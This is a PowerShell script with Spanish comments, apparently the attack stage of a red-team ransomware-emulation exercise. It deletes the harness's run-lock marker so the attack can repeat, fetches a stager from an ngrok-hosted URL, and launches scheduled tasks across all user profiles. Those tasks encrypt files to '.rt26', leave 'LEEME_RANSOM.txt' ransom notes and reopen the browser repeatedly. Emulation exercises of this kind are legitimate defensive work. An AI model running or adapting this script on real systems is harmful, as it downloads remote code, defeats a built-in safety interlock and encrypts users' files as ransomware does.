#Requires -Version 5.1 <# .SYNOPSIS RT-2026 - Tarea de ATAQUE, autosuficiente. .DESCRIPTION POR QUE FUNCIONO UNA VEZ Y DESPUES NUNCA MAS: El arnes escribe C:\RT\manifests\active-.json SIEMPRE que corre el impacto, aunque no cifre nada. Y si ese fichero existe, la siguiente vez aborta con "Ya existe una ejecucion activa en este host" y NO HACE NADA. 1er ataque -> cifra 11 y escribe el marcador OK 2o ataque -> ve el marcador -> aborta en silencio NO HACE NADA Y hay un segundo efecto: la limpieza RETIRA los senuelos, asi que despues de limpiar el impacto no tiene nada que cifrar. ESTA TAREA SE HACE CARGO DEL TERRENO: 1. borra active-*.json (quita el bloqueo) 2. cuenta los senuelos; si no hay, SIEMBRA (deja el terreno listo) 3. lanza el impacto en serie, esperando a que acabe cada perfil 4. veredicto: 267011 es "sin sesion", NO fallo 5. decide por el RESULTADO: si hay .rt26, el impacto ocurrio Asi da igual cuantas veces se lance y en que orden: es idempotente. No hay que separar el ataque en dos tareas ni acordarse de lanzarlas en orden. .NOTES No toca ningun fichero del despliegue. Todo va aqui. #> $b = 'https://enormous-purely-maggot.ngrok-free.app/rt' $g = 'C:\Windows\Temp\rt-guard.log' function L($m) { ((Get-Date).ToString('HH:mm:ss') + ' ' + $m) | Out-File $g -Append -Encoding utf8 } L '=== RT-ATACUE ===' # ---------------------------------------------------------------- 1) EL BLOQUEO $act = @(Get-ChildItem 'C:\RT\manifests\active-*.json' -ErrorAction SilentlyContinue) if ($act.Count -gt 0) { L ('marcador de ejecucion anterior: ' + $act.Count + ' -> SE BORRA') $act | ForEach-Object { L (' ' + $_.Name) } $act | Remove-Item -Force -ErrorAction SilentlyContinue } else { L 'sin marcador anterior' } # ---------------------------------------------------------------- 2) EL TERRENO # NADA DE COMODINES EN LA CARPETA. Medido en el equipo: "C:\Users\*\Documents" # devolvia 0 senuelos cuando en el perfil habia 9. Y lo mismo vale para el recuento # final de .rt26: con comodines devolvia 0 aunque el ataque hubiera funcionado, con # lo que el veredicto decia "CON FALLOS" sin motivo. Lo saco la prueba sintetica. # # Se ENUMERAN las carpetas de perfil y se consulta cada subcarpeta con su RUTA EXACTA. # Formas que NO valen, comprobadas: # Get-ChildItem 'C:\Users\*\Documents','C:\Users\*\Documentos' -> 0 si una no existe # Get-ChildItem 'C:\Users\*\Documents' -> 0 con ficheros dentro # # Y el Test-Path lleva -ErrorAction SilentlyContinue: hay perfiles que dan # "Acceso denegado" (visto con C:\Users\CPNADMIN) y sin eso el contador revienta. function Contar-En { param( [Parameter(Mandatory)][string]$Patron, [Parameter(Mandatory)][string[]]$Subcarpetas ) $n = 0 foreach ($u in @(Get-ChildItem 'C:\Users' -Directory -ErrorAction SilentlyContinue)) { foreach ($sub in $Subcarpetas) { $p = Join-Path $u.FullName $sub if (Test-Path -LiteralPath $p -ErrorAction SilentlyContinue) { $n += @(Get-ChildItem $p -File -ErrorAction SilentlyContinue | Where-Object { $_.Name -match $Patron }).Count } } } return $n } $canarios = Contar-En -Patron 'CANARY' -Subcarpetas @('Documents', 'Documentos') L ('senuelos antes: ' + $canarios) if ($canarios -lt 1) { L 'NO HAY SENUELOS -> se siembra antes de atacar' $plantar = @(Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskName -like 'RT-2026 Fase 1 Siembra*' }) if ($plantar.Count -eq 0) { L 'no hay tareas de siembra; se piden al stager' & C:\ProgramData\RT\rt-bootstrap.ps1 -BaseUrl $b -Action Vector1Plantar -Execute | Out-Null L ('siembra directa exit=' + $LASTEXITCODE) } else { foreach ($x in $plantar) { L ('sembrando: ' + $x.TaskName); Start-ScheduledTask -TaskName $x.TaskName } Start-Sleep -Seconds 60 } $canarios = Contar-En -Patron 'CANARY' -Subcarpetas @('Documents', 'Documentos') L ('senuelos despues de sembrar: ' + $canarios) # NUNCA abortar por un recuento. Este contador ya se ha equivocado dos veces, y # abortar por el cuesta la ejecucion entera. Se avisa y se sigue: si de verdad no # hay senuelos, el impacto no cifrara nada y el veredicto FINAL lo dira, que es # el que cuenta porque mira los .rt26 de verdad. if ($canarios -lt 1) { L 'AVISO: el recuento sigue a 0. Puede ser el contador, no la realidad.' L 'AVISO: se continua igualmente; el veredicto final mira los .rt26.' } } # ---------------------------------------------------------------- 3) EL IMPACTO # NO se espera a que la tarea TERMINE. Medido: el cifrado y el fondo tardan ~2 # segundos, y despues la tarea se queda 4 minutos abriendo el navegador 10 veces # (notify_count=10 x notify_interval_sec=25 = 250 s). Esperar eso no aporta nada. # # Se espera al EFECTO: a que aparezcan los .rt26. En cuanto salen, esta hecho. Las # notificaciones siguen su curso en segundo plano, que es lo que se quiere para el # ejercicio (el cliente las sigue viendo), pero el script no se queda mirandolas. # # Y sigue habiendo que serializar por dos motivos: # - el lanzador descarga el stager encima de C:\ProgramData\RT\rt-bootstrap.ps1, # y en paralelo choca con "being used by another process" # - dos impactos a la vez escriben el mismo marcador $subcarpetas = @('Documents', 'Documentos', 'Desktop', 'Escritorio') $t = @(Get-ScheduledTask -ErrorAction SilentlyContinue | Where-Object { $_.TaskName -like 'RT-2026 Fase 2*' -or $_.TaskName -like 'RT-2026 Fase 3*' }) L ('tareas por perfil encontradas: ' + $t.Count) if ($t.Count -eq 0) { L 'NO HAY TAREAS POR PERFIL: la siembra no llego a instalarlas' L '=== RT-ATACUE CON FALLOS ===' exit 1 } $inicio = Get-Date foreach ($x in $t) { L ('lanzando: ' + $x.TaskName) $antes = Contar-En -Patron '\.rt26$' -Subcarpetas $subcarpetas Start-ScheduledTask -TaskName $x.TaskName # se espera al EFECTO, no a la tarea: 30 vueltas de 5 s = 150 s como tope $esperados = 0 while ($esperados -lt 30) { Start-Sleep -Seconds 5 $esperados++ if ((Contar-En -Patron '\.rt26$' -Subcarpetas $subcarpetas) -gt $antes) { L (' efecto detectado a los ' + ($esperados * 5) + ' s') break } } if ($esperados -ge 30) { L ' sin efecto en 150 s' } # margen para que suelte el fichero del stager antes de la siguiente Start-Sleep -Seconds 20 } L ('tiempo de ataque: ' + [Math]::Round(((Get-Date) - $inicio).TotalMinutes, 1) + ' minutos') Start-Sleep -Seconds 10 # ---------------------------------------------------------------- 4) VEREDICTO $mal = 0 $sinSesion = 0 foreach ($x in $t) { $r = ($x | Get-ScheduledTaskInfo).LastTaskResult if ($r -eq 267011) { $sinSesion = $sinSesion + 1 L (' ' + $x.TaskName + ' -> ' + $r + ' (sin sesion)') } elseif ($r -eq 0) { L (' ' + $x.TaskName + ' -> 0 bien') } else { $mal = $mal + 1 L (' ' + $x.TaskName + ' -> ' + $r + ' FALLO') } } # ---------------------------------------------------------------- 5) EL RESULTADO # Con Contar-En, NO con comodines. Medido en la prueba sintetica: la version con # comodines devolvia 0 .rt26 aunque hubiera 2, con lo que el veredicto decia # "CON FALLOS" con el ataque ya hecho. $rt26 = Contar-En -Patron '\.rt26$' -Subcarpetas @('Documents', 'Documentos', 'Desktop', 'Escritorio') $notas = Contar-En -Patron '^LEEME_RANSOM\.txt$' -Subcarpetas @('Desktop', 'Documents', 'Escritorio', 'Documentos') L ('.rt26 que han quedado: ' + $rt26 + ' notas: ' + $notas) L ('resumen: bien=' + ($t.Count - $mal - $sinSesion) + ' sin sesion=' + $sinSesion + ' fallos=' + $mal) # El veredicto se decide por el RESULTADO, no solo por los codigos: si hay .rt26, # el impacto ocurrio aunque alguna tarea devuelva cosas raras. if ($rt26 -gt 0) { L '=== RT-ATACUE OK ===' exit 0 } else { L '=== RT-ATACUE CON FALLOS: no ha quedado ningun .rt26 ===' exit 1 }